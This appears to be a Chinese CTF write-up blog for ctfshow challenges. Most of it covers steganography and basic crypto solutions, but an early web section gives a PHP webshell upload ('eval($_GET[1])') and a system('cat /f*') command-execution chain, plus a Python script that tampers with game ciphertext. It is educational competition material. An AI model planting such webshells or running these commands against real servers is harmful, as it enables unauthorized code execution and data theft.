rHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 
Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');

利用好push和pull即可,先用push传马,再用pull执行它

?action=push&output=<?php eval($_GET[1]);?>
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat /f*");
#d6e1f0ec8980b49f6061227495a77a44 为 <?php eval($_GET[1]);?> youyou的md5值;
import base64 import random url='http://18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show/' s=requests.session() username=str(random.randint(1,100000)) print(username) r=s.get(url+'?username='+username) responses=[] for i in range(10): r=s.get(url+'find_dragonball') responses.append(json.loads(r.text)) for item in responses: data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']}) miwen=base64.b64decode(item['address']) round_no=item['round_no'] if round_no in [str(i) for i in range(1,8)]: fake_address=miwen[:64]+miwen[80:] fake_address=base64.b64encode(fake_address).decode() r=s.get(url+'get_dragonball',params={"address":fake_address}) r=s.get(url+'flag') print(r.text)

无一幸免_FIXED

include "flag.php"; highlight_file(__FILE__); if (isset($_GET['0'])){     $arr[$_GET['0']]=1;     if ($arr[]=1){         die("nonono!");     else{         die($flag);

revenage版本。$arr[]=1意思是在数组中追加一个数并且赋值为1,比如数组种只有0,1,2,他就会赋值让$arr[3]=1,所以永真了,所以我们得让它失效。考点是索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败,32位最大是231-1,64位是263-1,也就是2147483647与9223372036854775807,所以输入?0=9223372036854775807即可

图片篇(基础操作)

misc1

图片里就是flag,识别一下文字就行了

misc2

附件是一个txt,内容一看就知道其实是个png,改后缀成png然后就是flag了

misc3

bpg图片,正常不能打开,下载个可以读的软件:https://bellard.org/bpg/

bpgview.exe misc3.bpg

misc4

附件六个文本还有一个没后缀。

一眼png,改后缀为png

a="631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D"
flag=""
for i in range(0,len(a),4):
    hexStr=a[i:i+2]
    flag+=chr(int("0x"+hexStr,16))
print(flag)
        name = str(i) + ".jpg"
        f1 = open(name,"wb")
        new = data[:159]+struct.pack('>h',i)+data[161:]
        f1.write(new)
        f1.close()

998看到flag

image=open(image_name,"wb") #data=bp[:16] + struct.pack('>i', i)+bp[20:24]+bp[24:]#png #data=bp[:157]+bp[157:159] + struct.pack('>h', i)+bp[161:] #jpg data=bp[:38]+ struct.pack('>h', i)[::-1]+bp[40:42] +bp[42:]#gif image.write(data) image.close()
s="11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101"
flag=""
for i in range(41): #287//7
    flag += chr(int(s[7*i:7*(i+1)],2))
print(flag)

misc40

用APNG Disassembler分离apng,可以看到不但分离出来了图片还分离出来了txt文本

a="99,116,102,115,104,111,119,123,48,55,56,99,98,100,48,102,57,99,56,100,51,102,50,49,53,56,101,55,48,53,50,57,102,56,57,49,51,99,54,53,125"
c=a.split(',')
flag=""
for i in range(0,len(c)):
    flag+=chr(int(c[i]))
    print(flag)
print(flag)
#ctfshow{078cbd0f9c8d3f2158e70529f8913c65}
import binascii
hex_str = "93A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D"
byte_data = binascii.unhexlify(hex_str)
str_data = byte_data.decode('utf-8', errors='ignore')
print(str_data)

misc44

将文本前10行和最后4行没用的删掉(因为第一个和最后一个不是我们要的IDAT数据块,第一个是一个IHDR,最后一个数据为空,没有意义)。然后写脚本,把CRC OK的替换成1,CRC FAILED替换成0

f=open("1.txt","r")
s=f.read()
f.close()
flag=""
for i in s.split():
    if "OK!" == i:
        flag += "1"
    elif "FAILED" ==i:
        flag += "0"
print(flag)
#11111111111111110110001101110100011001100111001101101000011011110111011101111011011000110110001100110001011000010110011000110011001100100110001001100110001110010011011000110011001100000011100001100110011000110011000100110010001101100011001100110010001100110011000101100010011001010011011100111000001100110110011000110110001110010110010101111101
print(len(flag)) #344
for i in range(43):
    print(chr(int(flag[8*i:8*(i+1)],2)),end="")

misc45

https://cdkm.com/cn/png-to-bmp把png转bmp,然后binwalk -e就能分离出flag

misc46

identify misc46.gif > message.txt

提取出来的0+0、174+49、196+47这些是偏移量,我们视作坐标,写脚本画图

from PIL import Image
import matplotlib.pyplot as plt
f = open('message.txt')
pp = []
while 1:
    c = f.readline()
    if c:
        s = eval(c.split('+')[1]+','+c.split('+')[2][:2])
        pp.append(s)
        print(s)
        # print(c)
    else:
        break
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
    new = Image.new('RGB',(1,1),(0,0,0))
    img.paste(new,i)
plt.imshow(img)
plt.show()

misc47

给了一个apng,apng格式每一个IDAT块前面都会有一个fcTL块,其中包含水平垂直偏移量,和上题一样画图即可

import struct
from PIL import Image
import matplotlib.pyplot as plt
f = open('misc47.png','rb')
c = f.read()
c = c[c.index(bytes.fromhex('6663544C00000001')):]
pp = []
for i in range(1,1124,2):
    start = c.index(bytes.fromhex('6663544C0000')+struct.pack('>h',i))
    # start = c.index(bytes.fromhex('6663544C000000'+hex(i)[2:]))
    # print(start)
    fc = c[start:start+30]
    print(fc[18:20],fc[22:24])
    print(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
    pp.append(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
    # print(fc.index(b'\xb6'),fc.index(b'\x34'))
# print(c[:100])
img = Image.new('RGB',(400,70),(255,255,255))
for i in pp:
    new = Image.new('RGB',(1,1),(0,0,0))
    img.paste(new,i)
plt.imshow(img)
plt.show()

misc48

s = im.getpixel((h,w)) if s == (64, 96, 128) or s == (128, 96, 64): img.putpixel([h, w], (255, 255, 255)) img.show()
im = im.convert('RGB') img = Image.new("RGB",(900,150)) lt = [(130, 176, 116),(72, 217, 123),(146, 16, 141),(130, 241, 105),(251, 160, 136),(5, 129, 88),(167, 46, 187),(20, 65, 141),(96, 231, 225),(196, 144, 18)] for h in range(900): for w in range(150): s = im.getpixel((h,w)) if s in lt: img.putpixel([h, w], (255, 255, 255)) img.show()

ctfshow{f87ad503c2c163471fbe768c9d7a9d6c}

misc53

杂项签到

用010editor打开三哈的图片,直接搜索ctfshow就拿到flag了

损坏的压缩包

foremost分离出图片

谜之栅栏

cfhwfaab2cb4af5a5820}

tso{06071f997b5bdd1a

两个拼起来就是flag了

ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}

你会数数吗

一眼词频分析

ctfshow{a1b2d3e4g56i7j8k9l0}

你会异或吗

异或后得到图,图上有flag

flag一分为二

用foremost分离后,图片在Linux中打不开,说是CRC的问题,那显然就得改高度了,

运行模板,改高度(之前重庆大学生那个题有过教程,感觉他们题差不多)

然后就看得到一部分flag,但还有一部分:

已知改图片没有附件,所以另一部分flag肯定也在这张图里,在哪儿呢?直接联想到盲水印了,重邮办比赛的题不会偷的这个比赛吧😓

所以flag就是:ctfshow{FirstP@RTSecondP@rTMikumiku~}

You and me

下载附件得到两张图片,一看就是盲水印了,之前也复现也提到过了,难绷,重庆大学生竞赛之前遇到了就好了

黑丝白丝还有什么丝?

黑丝为 1 白丝为 0 转场动画为分割标志,然后题目提示了是莫斯密码嘛:

011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0

解一下就行了:ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

零宽度隐写

ctfshow{OP_is_for_Over_Power}

这是个什么文件?

看来是伪加密

改了之后解压出来一个神秘文件

一眼pyc,改后缀,找个在线平台反编译一下:

#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.7 flag = bytes([     99,     116,     102,     115,     104,     111,     119,     123,     99,     100,     106,     110,     106,     100,     95,     53,     54,     53,     102,     95,     71,     67,     68,     72,     95,     107,     99,     114,     105,     109,     125]).decode() print(flag)

ctfshow{cdjnjd_565f_GCDH_kcrim}

抽象画

base一把梭出来一眼16进制,可能可以组成图片

保存完得到一个奇怪的图片

npiet可以得到flag(没见过)

先点击npiet-start.bat启动cmd,然后npiet.exe 图片名即可

迅疾响应

链接

我可没有骗你

先爆破密码:55813329,得到的mp3文件改wav后缀,然后用silent eye即可

你被骗了

解压出来得到一个mp3文件,属性里看到flag,但那个是假的,考虑MP3Stego

Decode.exe -X cipher.mp3 -P

一闪一闪亮晶晶

压缩包里图片可以直接解压出来,是汉信码

在线识别得到压缩包密码:CDBHSBHSxskv6

得到的音频是sstv

参考Misc SSTV慢扫描电视&无线电方法

ctfshow{NNICCETOMMETYOU}

一层一层一层地剥开我的♥

压缩包解压出来的文件如下

通过经验可以判断,这个压缩包其实不是压缩包,而是一个docx文件,改后缀名,打开后得到一些奇怪的字符,字体名为Wingdings 3

改字体得到正常文字

没得到什么有效信息,binwalk得到两个压缩包

0.zip是那个docx文件,而那个2983.rar有压缩包密码,密码是Twinkle twinkle little star,how I wonder what you are的简谱:11556654433221(这谁想的到),得到一个文件一张图

FFD9(jpg文件尾)后面又跟着FFD8FF(jpg文件头)

把FFD8FF之后的十六进制数据复制下来然后新建后可获得一个jpg图片文件,具体参考前面抽象画的wp

打开那个♥按我下面的步骤改成rar文件

多了四组00,修改成rar文件头52617221即可,修改完毕后保存并加上rar后缀

压缩包的密码是图片上的winkwink~

最后这个emoji是base100

ctfshow{Wa0_wa_Congr@tulations~}

这次比赛学了不少emoji相关的加密,比如emoji-aesemoji2textbase100(emoji编码),其中emoji-aes和emoji2text需要密码

打不开的图片

求反即可

CRYPTO

密码签到

base一把梭:ctfshow{welcome_2_caigou_cup}

Caesar

显然是凯撒,随便试试就出来了

ctfshow{Welcome to CTFshow vegetable dog cup!}

0x36d

长见识了,原来emoji密码还有这种txtmoji,我之前只知道emoji编码和aes-emoji

这里的密码就是0x36d的十进制,也就是877

类型-7

没听过,现在想来题目就是提示了——type 7加密

@bash

埃特巴什码,又是谐音梗,绷不住了

ctfshow{LOVEMUMUZI}

This is Sparta

密文是:

WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}

斯巴达手杖加密,被我百度到了,但我用这个网站没做出来,看了其他人的wp,发现要用这个栅栏密码的网站,但是还是没做出来,看了答案后知道,答案为:

Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}

用位移为7确实能整出明文来,但没法从明文还原到明文,难绷:

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!